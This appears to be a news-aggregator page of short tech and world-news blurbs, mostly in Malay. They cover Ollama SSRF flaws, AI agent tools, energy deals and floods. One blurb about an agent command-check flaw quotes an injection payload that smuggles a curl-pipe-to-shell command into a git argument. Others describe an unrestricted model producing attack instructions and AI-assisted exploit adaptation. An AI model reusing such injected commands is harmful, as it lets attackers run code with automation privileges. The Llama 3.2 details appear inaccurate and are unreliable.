Cross the bridge to practical knowledge in AI, web, business & more.
Dalam versi beta, Personal AI Router (PAIR) Nvidia mengimbas rangkaian rumah untuk mencari GPU siri RTX-20, kad RTX-Pro, nod DGX Spark atau Mac cip M4, kemudian menyelaraskan mesin yang tidak digunakan untuk menjalankan LLM secara tempatan melalui Ollama atau LM Studio, semuanya di bawah penyulitan TLS bersama.
Pepijat SSRF masih wujud dalam Ollama 0.33.2 kerana pemuat turun model tensor menggunakan klien HTTP berasingan yang melangkau perlindungan pengalihan yang ditambah untuk CVE-2026-5530, membolehkan penyerang mengalihkan proses penarikan ke mana-mana alamat yang boleh dicapai.
Perjanjian pembelian tenaga dengan sistem geoterma dipertingkat Fervo akan mula membekalkan elektrik pada tahun 2028, memberikan Google beban asas yang stabil dan bebas karbon bagi memenuhi permintaan latihan AI yang berterusan tanpa perlu bergantung kepada penyimpanan bateri yang mahal.
The startup’s hosted API lets anyone with a credit-card query an unrestricted version of GLM-5.3, eliminating the need for local GPUs or custom code. While security teams praise the tool for realistic attack simulations, researchers warn it can also churn out step-by-step instructions for cyber-crim
Rangka kerja sumber terbuka aidlc-workflows menambah kitaran hayat empat peringkat—perancangan, pelaksanaan, pengesahan, dan persediaan semakan—kepada ejen pengekodan AI sedia ada, membolehkan pasukan menjejaki metrik konkrit sambil mempertimbangkan kos token tambahan dan varians model.
CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.
Mod Langsung baharu, yang dikuasakan oleh model Gemini Google, membolehkan pengguna bercakap secara semula jadi dengan Gmail, Docs, dan Keep pada iOS dan Android, dengan transkripsi masa nyata dan peralihan lancar antara pertanyaan, tetapi buat masa ini ia terhad kepada bahasa Inggeris dan langganan AI premium.
Foundry Toolbox menyatukan pengendalian kredensial, pengurusan versi dan penguatkuasaan polisi ke dalam satu titik akhir tunggal, manakala Tool Search memendekkan prom kepada senarai pendek yang disusun mengikut kedudukan, sekali gus mengurangkan token input sehingga 94% dalam penanda aras 600-alatan dan meningkatkan ketepatan pemilihan alatan.
Kerentanan (CVE-2026-85180) menjejaskan Ollama v0.33.2 dan membolehkan sesiapa sahaja membekalkan nama model yang memaksa pengunduh tensor pelayan untuk mengikut hala tuju ke mana-mana alamat, termasuk titik akhir metadata awan 169.254.169.254, tanpa pengesahan.
Llama 3.2 daripada Meta hadir dalam tiga konfigurasi—8 B, 30 B, dan 70 B—yang dilatih menggunakan 2.5 trilion token. Seni bina baharu ini mengurangkan keperluan pengkomputeran sebanyak 22%, memberikan inferens 1.8x lebih pantas pada GPU moden sambil kekal dengan lesen Apache 2.0 sepenuhnya.
Selepas 286 hari di laut—termasuk peralihan pantas bagi menyokong operasi AS terhadap Iran—kapal pengangkut sepanjang 1,100 kaki yang berlabuh di Laem Chabang itu dilitupi karat, sekali gus menekankan bagaimana tugas tempur yang berterusan menghalang penyelenggaraan badan kapal yang penting.
Undian pada bulan November akan bertanya kepada penduduk sama ada pindaan piagam boleh menetapkan had ketat terhadap penggunaan tanah, penggunaan tenaga dan penggunaan air bagi projek berskala kemudahan cadangan seluas 300 ekar bernilai $6.9 bilion.
Banjir besar yang melanda tanpa amaran itu turut menyebabkan 541 orang hilang di Tibet, menjadikan jumlah mangsa hilang di rantau tersebut mencecah 4,757, serta memaksa tentera Nepal mengerahkan jentera pengorek ke dalam terowong hidroelektrik yang ditenggelami air.
Selepas setahun di laut, persinggahan kapal pengangkut tersebut di Pattaya mendedahkan kemudahan yang usang, tekanan kesihatan mental, serta suntikan $3 juta kepada ekonomi tempatan – satu peringatan nyata bahawa gergasi berkuasa nuklear sekalipun bergantung kepada rantaian bekalan yang rapuh.
Vedere Labs menggabungkan Claude dengan Ghidra untuk menulis semula shellcode bagi PLC WAGO yang berbeza, berjaya mencapai pelaksanaan kod hujung-ke-hujung dan malah menyebabkan peranti rosak (bricked)—menunjukkan bahawa AI boleh mengautomasikan adaptasi eksploit dengan pengawasan manusia.
